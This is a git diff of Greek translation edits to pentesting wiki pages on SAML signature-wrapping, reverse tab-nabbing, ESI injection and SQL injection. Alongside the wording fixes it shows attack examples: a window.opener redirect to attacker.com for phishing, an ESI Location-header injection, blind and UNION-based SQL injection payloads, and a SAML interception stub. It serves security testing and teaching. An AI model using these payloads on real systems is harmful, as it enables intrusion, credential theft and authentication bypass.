||||
- Παρακολουθήστε ύποπτες δραστηριότητες που υποδεικνύουν επιθέσεις βίαιης δύναμης.
|
||||
|
||||
## **Δοκιμάστε να Χρησιμοποιήσετε το Token σας**
|
||||
|
||||
@ -164,7 +164,7 @@ uuid-insecurities.md
|
||||
|
||||
- Τα tokens επαναφοράς θα πρέπει να έχουν χρόνο λήξης μετά τον οποίο γίνονται άκυρα.
|
||||
- **Βήματα Μείωσης**:
|
||||
- Ορίστε έναν λογικό χρόνο λήξης για τα tokens επαναφοράς και επιβάλετε αυστηρά την εφαρμογή του server-side.
|
||||
- Ορίστε έναν λογικό χρόνο λήξης για τα tokens επαναφοράς και επιβάλετέ τον αυστηρά από την πλευρά του διακομιστή.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -5,7 +5,7 @@
|
||||
Σε μια κατάσταση όπου ένας **επιτιθέμενος** μπορεί να **ελέγξει** το **`href`** επιχείρημα μιας **`<a`** ετικέτας με το χαρακτηριστικό **`target="_blank" rel="opener"`** που πρόκειται να κλικάρει ένα θύμα, ο **επιτιθέμενος** **δείχνει** αυτό το **σύνδεσμο** σε μια ιστοσελίδα υπό τον έλεγχό του (μια **κακόβουλη** **ιστοσελίδα**). Στη συνέχεια, μόλις το **θύμα κλικάρει** το σύνδεσμο και αποκτήσει πρόσβαση στην ιστοσελίδα του επιτιθέμενου, αυτή η **κακόβουλη** **ιστοσελίδα** θα είναι σε θέση να **ελέγξει** την **αρχική** **σελίδα** μέσω του αντικειμένου javascript **`window.opener`**.\
|
||||
Εάν η σελίδα δεν έχει **`rel="opener"` αλλά περιέχει `target="_blank"` και δεν έχει `rel="noopener"`** μπορεί επίσης να είναι ευάλωτη.
|
||||
|
||||
Ένας κανονικός τρόπος για να καταχραστεί αυτή η συμπεριφορά θα ήταν να **αλλάξει την τοποθεσία της αρχικής ιστοσελίδας** μέσω `window.opener.location = https://attacker.com/victim.html` σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο που **μοιάζει με την αρχική**, έτσι ώστε να μπορεί να **μιμηθεί** τη **φόρμα σύνδεσης** της αρχικής ιστοσελίδας και να ζητήσει διαπιστευτήρια από τον χρήστη.
|
||||
Ένας κανονικός τρόπος για να καταχραστεί αυτή η συμπεριφορά θα ήταν να **αλλάξει την τοποθεσία της αρχικής ιστοσελίδας** μέσω `window.opener.location = https://attacker.com/victim.html` σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο και **φαίνεται σαν την αρχική**, έτσι ώστε να μπορεί να **μιμηθεί** τη **φόρμα σύνδεσης** της αρχικής ιστοσελίδας και να ζητήσει διαπιστευτήρια από τον χρήστη.
|
||||
|
||||
Ωστόσο, σημειώστε ότι καθώς ο **επιτιθέμενος μπορεί τώρα να ελέγξει το αντικείμενο παραθύρου της αρχικής ιστοσελίδας** μπορεί να το καταχραστεί με άλλους τρόπους για να εκτελέσει **πιο διακριτικούς επιθέσεις** (ίσως τροποποιώντας τα γεγονότα javascript για να εξάγει πληροφορίες σε έναν διακομιστή που ελέγχει;)
|
||||
|
||||
|
@ -12,7 +12,7 @@ saml-basics.md
|
||||
|
||||
## Tool
|
||||
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Ένα εργαλείο που μπορεί να πάρει μια διεύθυνση URL ή λίστα διευθύνσεων URL και να εκτυπώσει πίσω τη διεύθυνση URL κατανάλωσης SAML.
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Ένα εργαλείο που μπορεί να πάρει μια διεύθυνση URL ή μια λίστα διευθύνσεων URL και να εκτυπώσει πίσω τη διεύθυνση URL κατανάλωσης SAML.
|
||||
|
||||
## XML round-trip
|
||||
|
||||
@ -33,7 +33,7 @@ puts "First child in original doc: " + doc.root.elements[1].name
|
||||
doc = REXML::Document.new doc.to_s
|
||||
puts "First child after round-trip: " + doc.root.elements[1].name
|
||||
```
|
||||
Η εκτέλεση του προγράμματος κατά του REXML 3.2.4 ή παλαιότερης έκδοσης θα είχε ως αποτέλεσμα την εξής έξοδο αντί για αυτό:
|
||||
Η εκτέλεση του προγράμματος κατά του REXML 3.2.4 ή παλαιότερης έκδοσης θα είχε ως αποτέλεσμα την εξής έξοδο αντί για αυτήν:
|
||||
```
|
||||
First child in original doc: Y
|
||||
First child after round-trip: Z
|
||||
@ -66,8 +66,8 @@ First child after round-trip: Z
|
||||
|
||||
### XSW #2
|
||||
|
||||
- **Διαφορά από το XSW #1**: Χρησιμοποιεί μια αποσπασμένη υπογραφή αντί για μια περιβάλλουσα υπογραφή.
|
||||
- **Σημασία**: Η "κακή" δομή, παρόμοια με το XSW #1, στοχεύει να παραπλανήσει τη λογική επιχείρησης μετά την επαλήθευση ακεραιότητας.
|
||||
- **Διαφορά από το XSW #1**: Χρησιμοποιεί μια αποσπασμένη υπογραφή αντί για μια περιλαμβανόμενη υπογραφή.
|
||||
- **Σημασία**: Η "κακή" δομή, παρόμοια με το XSW #1, στοχεύει να παραπλανήσει τη λογική επιχείρησης μετά τον έλεγχο ακεραιότητας.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -87,22 +87,22 @@ First child after round-trip: Z
|
||||
|
||||
### XSW #5
|
||||
|
||||
- **Μοναδικό Σημείο**: Ούτε η Υπογραφή ούτε η αρχική Assertion συμμορφώνονται με τις τυπικές ρυθμίσεις (περιβαλλόμενη/περιβάλλουσα/αποσπασμένη).
|
||||
- **Σημασία**: Η αντιγραμμένη Assertion περιβάλλει την Υπογραφή, τροποποιώντας τη αναμενόμενη δομή εγγράφου.
|
||||
- **Μοναδικό Σημείο**: Ούτε η Υπογραφή ούτε η αρχική Assertion συμμορφώνονται με τις τυπικές ρυθμίσεις (περιλαμβανόμενη/περιλαμβάνουσα/αποσπασμένη).
|
||||
- **Σημασία**: Η αντιγραμμένη Assertion περιλαμβάνει την Υπογραφή, τροποποιώντας τη αναμενόμενη δομή εγγράφου.
|
||||
|
||||
.png>)
|
||||
|
||||
### XSW #6
|
||||
|
||||
- **Στρατηγική**: Παρόμοια εισαγωγή τοποθεσίας όπως το XSW #4 και #5, αλλά με μια ανατροπή.
|
||||
- **Σημασία**: Η αντιγραμμένη Assertion περιβάλλει την Υπογραφή, η οποία στη συνέχεια περιβάλλει την αρχική Assertion, δημιουργώντας μια φωλιασμένη παραπλανητική δομή.
|
||||
- **Σημασία**: Η αντιγραμμένη Assertion περιλαμβάνει την Υπογραφή, η οποία στη συνέχεια περιλαμβάνει την αρχική Assertion, δημιουργώντας μια φωλιασμένη παραπλανητική δομή.
|
||||
|
||||
.png>)
|
||||
|
||||
### XSW #7
|
||||
|
||||
- **Στρατηγική**: Ένα στοιχείο Extensions εισάγεται με την αντιγραμμένη Assertion ως παιδί.
|
||||
- **Σημασία**: Αυτό εκμεταλλεύεται το λιγότερο περιοριστικό σχήμα του στοιχείου Extensions για να παρακάμψει τα μέτρα επαλήθευσης σχήματος, ειδικά σε βιβλιοθήκες όπως το OpenSAML.
|
||||
- **Σημασία**: Αυτό εκμεταλλεύεται το λιγότερο περιοριστικό σχήμα του στοιχείου Extensions για να παρακάμψει τα μέτρα ελέγχου σχήματος, ειδικά σε βιβλιοθήκες όπως το OpenSAML.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -145,7 +145,7 @@ First child after round-trip: Z
|
||||
```
|
||||
## Εργαλεία
|
||||
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) για να δημιουργήσετε το POC από ένα αίτημα SAML για να ελέγξετε για πιθανές ευπάθειες XXE και SAML.
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) για να δημιουργήσετε το POC από ένα αίτημα SAML για να δοκιμάσετε πιθανές ευπάθειες XXE και SAML.
|
||||
|
||||
Ελέγξτε επίσης αυτή την ομιλία: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
|
||||
@ -157,9 +157,9 @@ First child after round-trip: Z
|
||||
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
{{#endref}}
|
||||
|
||||
Οι Επεκτάσιμες Μετατροπές Γλώσσας Στυλ (XSLT) μπορούν να χρησιμοποιηθούν για τη μετατροπή εγγράφων XML σε διάφορες μορφές όπως HTML, JSON ή PDF. Είναι κρίσιμο να σημειωθεί ότι **οι μετατροπές XSLT εκτελούνται πριν από την επαλήθευση της ψηφιακής υπογραφής**. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμη και χωρίς έγκυρη υπογραφή. Μια αυτο-υπογεγραμμένη ή μη έγκυρη υπογραφή είναι αρκετή για να προχωρήσετε.
|
||||
Οι Επεκτάσιμες Μετασχηματισμοί Γλώσσας Στυλ (XSLT) μπορούν να χρησιμοποιηθούν για τη μετατροπή εγγράφων XML σε διάφορες μορφές όπως HTML, JSON ή PDF. Είναι κρίσιμο να σημειωθεί ότι **οι μετασχηματισμοί XSLT εκτελούνται πριν από την επαλήθευση της ψηφιακής υπογραφής**. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμη και χωρίς έγκυρη υπογραφή. Μια αυτο-υπογεγραμμένη ή μη έγκυρη υπογραφή είναι αρκετή για να προχωρήσετε.
|
||||
|
||||
Εδώ μπορείτε να βρείτε ένα **POC** για να ελέγξετε για αυτό το είδος ευπαθειών, στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτής της ενότητας μπορείτε να βρείτε payloads.
|
||||
Εδώ μπορείτε να βρείτε ένα **POC** για να ελέγξετε αυτό το είδος ευπαθειών, στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτής της ενότητας μπορείτε να βρείτε payloads.
|
||||
```xml
|
||||
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
||||
...
|
||||
@ -193,7 +193,7 @@ First child after round-trip: Z
|
||||
|
||||
### Εργαλείο <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
||||
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Παρεμβάλετε την απάντηση SAML και κάντε κλικ στο `Remove Signatures`. Με αυτόν τον τρόπο, **όλα** τα στοιχεία Υπογραφής αφαιρούνται.
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Παρεμβάλετε την απάντηση SAML και κάντε κλικ στο `Remove Signatures`. Με αυτόν τον τρόπο **όλα** τα στοιχεία Υπογραφής αφαιρούνται.
|
||||
|
||||
Με τις υπογραφές αφαιρεμένες, επιτρέψτε στο αίτημα να προχωρήσει στον στόχο. Εάν η Υπογραφή δεν απαιτείται από την Υπηρεσία
|
||||
|
||||
@ -217,13 +217,13 @@ First child after round-trip: Z
|
||||
|
||||
## Σύγχυση Παραλήπτη Token / Σύγχυση Στόχου Παρόχου Υπηρεσιών <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
|
||||
Η Σύγχυση Παραλήπτη Token και η Σύγχυση Στόχου Παρόχου Υπηρεσιών περιλαμβάνουν τον έλεγχο εάν ο **Πάροχος Υπηρεσιών επικυρώνει σωστά τον προοριζόμενο παραλήπτη μιας απάντησης**. Στην ουσία, ένας Πάροχος Υπηρεσιών θα πρέπει να απορρίπτει μια απάντηση αυθεντικοποίησης εάν προοριζόταν για διαφορετικό πάροχο. Το κρίσιμο στοιχείο εδώ είναι το πεδίο **Recipient**, που βρίσκεται μέσα στο στοιχείο **SubjectConfirmationData** μιας Απάντησης SAML. Αυτό το πεδίο καθορίζει μια διεύθυνση URL που υποδεικνύει πού πρέπει να σταλεί η Δήλωση. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προοριζόμενο Πάροχο Υπηρεσιών, η Δήλωση θα πρέπει να θεωρείται άκυρη.
|
||||
Η Σύγχυση Παραλήπτη Token και η Σύγχυση Στόχου Παρόχου Υπηρεσιών περιλαμβάνουν τον έλεγχο εάν ο **Πάροχος Υπηρεσιών επικυρώνει σωστά τον προοριζόμενο παραλήπτη μιας απάντησης**. Στην ουσία, ένας Πάροχος Υπηρεσιών θα πρέπει να απορρίψει μια απάντηση αυθεντικοποίησης εάν προοριζόταν για διαφορετικό πάροχο. Το κρίσιμο στοιχείο εδώ είναι το πεδίο **Recipient**, που βρίσκεται μέσα στο στοιχείο **SubjectConfirmationData** μιας Απάντησης SAML. Αυτό το πεδίο προσδιορίζει μια διεύθυνση URL που υποδεικνύει πού πρέπει να σταλεί η Δήλωση. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προοριζόμενο Πάροχο Υπηρεσιών, η Δήλωση θα πρέπει να θεωρείται άκυρη.
|
||||
|
||||
#### **Πώς Λειτουργεί**
|
||||
|
||||
Για να είναι εφικτή μια επίθεση Σύγχυσης Παραλήπτη Token SAML (SAML-TRC), πρέπει να πληρούνται ορισμένες προϋποθέσεις. Πρώτον, πρέπει να υπάρχει ένας έγκυρος λογαριασμός σε έναν Πάροχο Υπηρεσιών (αναφερόμενος ως SP-Legit). Δεύτερον, ο στοχευμένος Πάροχος Υπηρεσιών (SP-Target) πρέπει να αποδέχεται tokens από τον ίδιο Πάροχο Ταυτότητας που εξυπηρετεί τον SP-Legit.
|
||||
Για να είναι εφικτή μια επίθεση Σύγχυσης Παραλήπτη Token SAML (SAML-TRC), πρέπει να πληρούνται ορισμένες προϋποθέσεις. Πρώτον, πρέπει να υπάρχει έγκυρος λογαριασμός σε έναν Πάροχο Υπηρεσιών (αναφερόμενος ως SP-Legit). Δεύτερον, ο στοχευμένος Πάροχος Υπηρεσιών (SP-Target) πρέπει να αποδέχεται tokens από τον ίδιο Πάροχο Ταυτότητας που εξυπηρετεί τον SP-Legit.
|
||||
|
||||
Η διαδικασία επίθεσης είναι απλή υπό αυτές τις συνθήκες. Μια αυθεντική συνεδρία ξεκινά με τον SP-Legit μέσω του κοινόχρηστου Παρόχου Ταυτότητας. Η Απάντηση SAML από τον Πάροχο Ταυτότητας προς τον SP-Legit παρεμβάλλεται. Αυτή η παρεμβαλλόμενη Απάντηση SAML, που προοριζόταν αρχικά για τον SP-Legit, ανακατευθύνεται στη συνέχεια στον SP-Target. Η επιτυχία σε αυτή την επίθεση μετράται από την αποδοχή της Δήλωσης από τον SP-Target, παρέχοντας πρόσβαση σε πόρους υπό το ίδιο όνομα λογαριασμού που χρησιμοποιήθηκε για τον SP-Legit.
|
||||
Η διαδικασία επίθεσης είναι απλή υπό αυτές τις συνθήκες. Μια αυθεντική συνεδρία ξεκινά με τον SP-Legit μέσω του κοινόχρηστου Παρόχου Ταυτότητας. Η Απάντηση SAML από τον Πάροχο Ταυτότητας προς τον SP-Legit παρεμβάλλεται. Αυτή η παρεμβαλλόμενη Απάντηση SAML, που προοριζόταν αρχικά για τον SP-Legit, ανακατευθύνεται στη συνέχεια στον SP-Target. Η επιτυχία αυτής της επίθεσης μετράται από την αποδοχή της Δήλωσης από τον SP-Target, παρέχοντας πρόσβαση σε πόρους υπό το ίδιο όνομα λογαριασμού που χρησιμοποιήθηκε για τον SP-Legit.
|
||||
```python
|
||||
# Example to simulate interception and redirection of SAML Response
|
||||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||||
|
@ -2,12 +2,12 @@
|
||||
|
||||
# SAML Επισκόπηση
|
||||
|
||||
**Security Assertion Markup Language (SAML)** επιτρέπει στους παρόχους ταυτότητας (IdP) να χρησιμοποιούνται για την αποστολή διαπιστευτηρίων εξουσιοδότησης στους παρόχους υπηρεσιών (SP), διευκολύνοντας την ενιαία είσοδο (SSO). Αυτή η προσέγγιση απλοποιεί τη διαχείριση πολλαπλών συνδέσεων επιτρέποντας τη χρήση ενός μόνο συνόλου διαπιστευτηρίων σε πολλαπλές ιστοσελίδες. Εκμεταλλεύεται το XML για τυποποιημένη επικοινωνία μεταξύ IdPs και SPs, συνδέοντας την αυθεντικοποίηση της ταυτότητας του χρήστη με την εξουσιοδότηση υπηρεσίας.
|
||||
**Security Assertion Markup Language (SAML)** επιτρέπει στους παρόχους ταυτότητας (IdP) να χρησιμοποιούνται για την αποστολή πιστοποιητικών εξουσιοδότησης στους παρόχους υπηρεσιών (SP), διευκολύνοντας την ενιαία είσοδο (SSO). Αυτή η προσέγγιση απλοποιεί τη διαχείριση πολλαπλών συνδέσεων επιτρέποντας τη χρήση ενός μόνο συνόλου πιστοποιητικών σε πολλές ιστοσελίδες. Εκμεταλλεύεται το XML για τυποποιημένη επικοινωνία μεταξύ IdPs και SPs, συνδέοντας την αυθεντικοποίηση της ταυτότητας του χρήστη με την εξουσιοδότηση υπηρεσίας.
|
||||
|
||||
## Σύγκριση μεταξύ SAML και OAuth
|
||||
|
||||
- **SAML** είναι προσαρμοσμένο για να παρέχει στις επιχειρήσεις μεγαλύτερο έλεγχο στην ασφάλεια σύνδεσης SSO.
|
||||
- **OAuth** έχει σχεδιαστεί για να είναι πιο φιλικό προς κινητές συσκευές, χρησιμοποιεί JSON και είναι μια συνεργατική προσπάθεια από εταιρείες όπως η Google και η Twitter.
|
||||
- **OAuth** έχει σχεδιαστεί για να είναι πιο φιλικό προς κινητές συσκευές, χρησιμοποιεί JSON και είναι μια συνεργατική προσπάθεια από εταιρείες όπως η Google και το Twitter.
|
||||
|
||||
# Ροή Αυθεντικοποίησης SAML
|
||||
|
||||
@ -44,7 +44,7 @@ Host: shibdemo-sp1.test.edu
|
||||
```
|
||||
Key elements of this request include:
|
||||
|
||||
- **AssertionConsumerServiceURL**: Καθορίζει πού θα στείλει το IdP την SAML Response μετά την αυθεντικοποίηση.
|
||||
- **AssertionConsumerServiceURL**: Καθορίζει πού θα στείλει ο IdP την SAML Response μετά την αυθεντικοποίηση.
|
||||
- **Destination**: Η διεύθυνση του IdP στην οποία αποστέλλεται το αίτημα.
|
||||
- **ProtocolBinding**: Ορίζει τη μέθοδο μετάδοσης των μηνυμάτων πρωτοκόλλου SAML.
|
||||
- **saml:Issuer**: Αναγνωρίζει την οντότητα που ξεκίνησε το αίτημα.
|
||||
@ -60,7 +60,7 @@ You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/
|
||||
- **saml:Subject**: Καθορίζει το κύριο υποκείμενο όλων των δηλώσεων στη δήλωση.
|
||||
- **saml:StatusCode**: Αντιπροσωπεύει την κατάσταση της λειτουργίας σε απάντηση στο αντίστοιχο αίτημα.
|
||||
- **saml:Conditions**: Λεπτομέρειες για τις συνθήκες όπως η χρονική εγκυρότητα της δήλωσης και ο καθορισμένος Παροχέας Υπηρεσιών.
|
||||
- **saml:AuthnStatement**: Επιβεβαιώνει ότι το IdP αυθεντικοποίησε το υποκείμενο της δήλωσης.
|
||||
- **saml:AuthnStatement**: Επιβεβαιώνει ότι ο IdP αυθεντικοποίησε το υποκείμενο της δήλωσης.
|
||||
- **saml:AttributeStatement**: Περιέχει χαρακτηριστικά που περιγράφουν το υποκείμενο της δήλωσης.
|
||||
|
||||
Following the SAML Response, the process includes a 302 redirect from the IdP. This leads to a POST request to the Service Provider's Assertion Consumer Service (ACS) URL. The POST request includes `RelayState` and `SAMLResponse` parameters. The ACS is responsible for processing and validating the SAML Response.
|
||||
@ -114,7 +114,7 @@ An XML Signature consists of essential elements as shown:
|
||||
</samlp:Response>
|
||||
```
|
||||
|
||||
Σε μια enveloped υπογραφή, το `ds:Transform` στοιχείο καθορίζει ότι είναι enveloped μέσω του αλγορίθμου `enveloped-signature`.
|
||||
Σε μια enveloped υπογραφή, το στοιχείο `ds:Transform` καθορίζει ότι είναι enveloped μέσω του αλγορίθμου `enveloped-signature`.
|
||||
|
||||
2. **Enveloping Signature**: Σε αντίθεση με τις enveloped υπογραφές, οι enveloping υπογραφές περιβάλλουν την πηγή που υπογράφεται.
|
||||
|
||||
@ -134,7 +134,7 @@ An XML Signature consists of essential elements as shown:
|
||||
</ds:Signature>
|
||||
```
|
||||
|
||||
3. **Detached Signature**: Αυτός ο τύπος είναι ξεχωριστός από το περιεχόμενο που υπογράφει. Η υπογραφή και το περιεχόμενο υπάρχουν ανεξάρτητα, αλλά διατηρείται ένας σύνδεσμος μεταξύ των δύο.
|
||||
3. **Detached Signature**: Αυτός ο τύπος είναι ξεχωριστός από το περιεχόμενο που υπογράφει. Η υπογραφή και το περιεχόμενο υπάρχουν ανεξάρτητα, αλλά διατηρείται μια σύνδεση μεταξύ των δύο.
|
||||
|
||||
Παράδειγμα:
|
||||
|
||||
|
@ -93,18 +93,18 @@ hell<!--esi-->o
|
||||
|
||||
- **Includes**: Υποστηρίζει την εντολή `<esi:includes>`
|
||||
- **Vars**: Υποστηρίζει την εντολή `<esi:vars>`. Χρήσιμο για την παράκαμψη φίλτρων XSS
|
||||
- **Cookie**: Τα cookies εγγράφων είναι προσβάσιμα στον κινητήρα ESI
|
||||
- **Απαιτούμενοι Επικεφαλίδες Upstream**: Οι εφαρμογές surrogate δεν θα επεξεργαστούν δηλώσεις ESI εκτός αν η upstream εφαρμογή παρέχει τις επικεφαλίδες
|
||||
- **Λίστα Επιτρεπόμενων Hosts**: Σε αυτή την περίπτωση, οι ESI includes είναι δυνατές μόνο από επιτρεπόμενους διακομιστές, καθιστώντας το SSRF, για παράδειγμα, δυνατό μόνο κατά αυτών των hosts
|
||||
- **Cookie**: Τα cookies του εγγράφου είναι προσβάσιμα από την μηχανή ESI
|
||||
- **Απαιτούμενοι Κεφαλίδες Upstream**: Οι εφαρμογές surrogate δεν θα επεξεργαστούν δηλώσεις ESI εκτός αν η upstream εφαρμογή παρέχει τις κεφαλίδες
|
||||
- **Λίστα Επιτρεπόμενων Hosts**: Σε αυτή την περίπτωση, οι ESI includes είναι δυνατές μόνο από επιτρεπόμενους διακομιστές, καθιστώντας το SSRF, για παράδειγμα, δυνατό μόνο κατά αυτών των διακομιστών
|
||||
|
||||
| **Λογισμικό** | **Includes** | **Vars** | **Cookies** | **Απαιτούμενοι Επικεφαλίδες Upstream** | **Λίστα Επιτρεπόμενων Hosts** |
|
||||
| :----------------------------: | :----------: | :------: | :---------: | :-----------------------------------: | :----------------------------: |
|
||||
| Squid3 | Ναι | Ναι | Ναι | Ναι | Όχι |
|
||||
| Varnish Cache | Ναι | Όχι | Όχι | Ναι | Ναι |
|
||||
| Fastly | Ναι | Όχι | Όχι | Όχι | Ναι |
|
||||
| Akamai ESI Test Server (ETS) | Ναι | Ναι | Ναι | Όχι | Όχι |
|
||||
| NodeJS esi | Ναι | Ναι | Ναι | Όχι | Όχι |
|
||||
| NodeJS nodesi | Ναι | Όχι | Όχι | Όχι | Προαιρετικό |
|
||||
| **Λογισμικό** | **Includes** | **Vars** | **Cookies** | **Απαιτούμενοι Κεφαλίδες Upstream** | **Λίστα Επιτρεπόμενων Hosts** |
|
||||
| :----------------------------: | :----------: | :------: | :---------: | :---------------------------------: | :----------------------------: |
|
||||
| Squid3 | Ναι | Ναι | Ναι | Ναι | Όχι |
|
||||
| Varnish Cache | Ναι | Όχι | Όχι | Ναι | Ναι |
|
||||
| Fastly | Ναι | Όχι | Όχι | Όχι | Ναι |
|
||||
| Akamai ESI Test Server (ETS) | Ναι | Ναι | Ναι | Όχι | Όχι |
|
||||
| NodeJS esi | Ναι | Ναι | Ναι | Όχι | Όχι |
|
||||
| NodeJS nodesi | Ναι | Όχι | Όχι | Όχι | Προαιρετικό |
|
||||
|
||||
#### XSS
|
||||
|
||||
@ -152,9 +152,9 @@ Use <!--esi--> to bypass WAFs:
|
||||
```bash
|
||||
<!--esi $add_header('Location','http://attacker.com') -->
|
||||
```
|
||||
#### Προσθήκη Επικεφαλίδας
|
||||
#### Προσθήκη Κεφαλίδας
|
||||
|
||||
- Προσθήκη επικεφαλίδας σε αναγκαστικό αίτημα
|
||||
- Προσθέστε κεφαλίδα σε αναγκαστικό αίτημα
|
||||
```xml
|
||||
<esi:include src="http://example.com/asdasd">
|
||||
<esi:request_header name="User-Agent" value="12345"/>
|
||||
|
@ -71,8 +71,8 @@ page.asp?id=1 and 1=2 -- results in false
|
||||
|
||||
### Επιβεβαίωση με Χρόνο
|
||||
|
||||
Σε ορισμένες περιπτώσεις **δεν θα παρατηρήσετε καμία αλλαγή** στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να **ανακαλύψετε τυφλές SQL injections** είναι να κάνετε τη βάση δεδομένων να εκτελεί ενέργειες που θα έχουν **επίπτωση στον χρόνο** που χρειάζεται η σελίδα για να φορτώσει.\
|
||||
Επομένως, θα συνδυάσουμε στην SQL ερώτηση μια λειτουργία που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί:
|
||||
Σε ορισμένες περιπτώσεις **δεν θα παρατηρήσετε καμία αλλαγή** στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να **ανακαλύψετε τυφλές SQL injections** είναι να κάνετε τη βάση δεδομένων να εκτελεί ενέργειες που θα έχουν **επίδραση στον χρόνο** που χρειάζεται η σελίδα για να φορτώσει.\
|
||||
Επομένως, θα προσθέσουμε στην SQL ερώτηση μια λειτουργία που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -126,7 +126,7 @@ SQLite
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Επίσης, αν έχετε πρόσβαση στην έξοδο του ερωτήματος, θα μπορούσατε να κάνετε **εκτύπωση της έκδοσης της βάσης δεδομένων**.
|
||||
Επίσης, αν έχετε πρόσβαση στην έξοδο του ερωτήματος, θα μπορούσατε να **εκτυπώσετε την έκδοση της βάσης δεδομένων**.
|
||||
|
||||
> [!NOTE]
|
||||
> Σε μια συνέχεια, θα συζητήσουμε διάφορες μεθόδους για να εκμεταλλευτούμε διάφορους τύπους SQL Injection. Θα χρησιμοποιήσουμε το MySQL ως παράδειγμα.
|
||||
@ -145,7 +145,7 @@ SQLite
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, προσαρμόστε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες **ORDER BY** ή **GROUP BY** μέχρι να ληφθεί μια ψευδής απάντηση. Παρά τις διακριτές λειτουργίες των **GROUP BY** και **ORDER BY** μέσα στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο για να προσδιορίσουν τον αριθμό των στηλών του ερωτήματος.
|
||||
Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, προσαρμόστε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες **ORDER BY** ή **GROUP BY** μέχρι να λάβετε μια ψευδή απάντηση. Παρά τις διαφορετικές λειτουργίες των **GROUP BY** και **ORDER BY** μέσα στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο για να προσδιορίσουν τον αριθμό των στηλών του ερωτήματος.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -169,7 +169,7 @@ SQLite
|
||||
1' UNION SELECT null,null-- - Not working
|
||||
1' UNION SELECT null,null,null-- - Worked
|
||||
```
|
||||
_Πρέπει να χρησιμοποιείτε τιμές `null`, καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και των δύο πλευρών του ερωτήματος πρέπει να είναι ο ίδιος και το null είναι έγκυρο σε κάθε περίπτωση._
|
||||
_Πρέπει να χρησιμοποιείτε τιμές `null`, καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και στις δύο πλευρές του ερωτήματος πρέπει να είναι ο ίδιος και το null είναι έγκυρο σε κάθε περίπτωση._
|
||||
|
||||
### Εξαγωγή ονομάτων βάσεων δεδομένων, ονομάτων πινάκων και ονομάτων στηλών
|
||||
|
||||
@ -186,20 +186,20 @@ _Πρέπει να χρησιμοποιείτε τιμές `null`, καθώς σ
|
||||
```
|
||||
_Υπάρχει ένας διαφορετικός τρόπος για να ανακαλύψετε αυτά τα δεδομένα σε κάθε διαφορετική βάση δεδομένων, αλλά η μεθοδολογία είναι πάντα η ίδια._
|
||||
|
||||
## Exploiting Hidden Union Based
|
||||
## Εκμετάλλευση Κρυφών Union Based
|
||||
|
||||
Όταν η έξοδος ενός ερωτήματος είναι ορατή, αλλά μια ένεση βασισμένη σε ένωση φαίνεται ανέφικτη, αυτό σημαίνει την παρουσία μιας **κρυφής ένεσης βασισμένης σε ένωση**. Αυτό το σενάριο συχνά οδηγεί σε μια κατάσταση τυφλής ένεσης. Για να μετατραπεί μια τυφλή ένεση σε μια βασισμένη σε ένωση, πρέπει να διακριθεί το ερώτημα εκτέλεσης στο backend.
|
||||
Όταν η έξοδος ενός ερωτήματος είναι ορατή, αλλά μια injection βασισμένη σε union φαίνεται ανέφικτη, αυτό σημαίνει την παρουσία μιας **κρυφής injection βασισμένης σε union**. Αυτό το σενάριο συχνά οδηγεί σε μια κατάσταση blind injection. Για να μετατραπεί μια blind injection σε μια βασισμένη σε union, πρέπει να διακριθεί το εκτελούμενο ερώτημα στο backend.
|
||||
|
||||
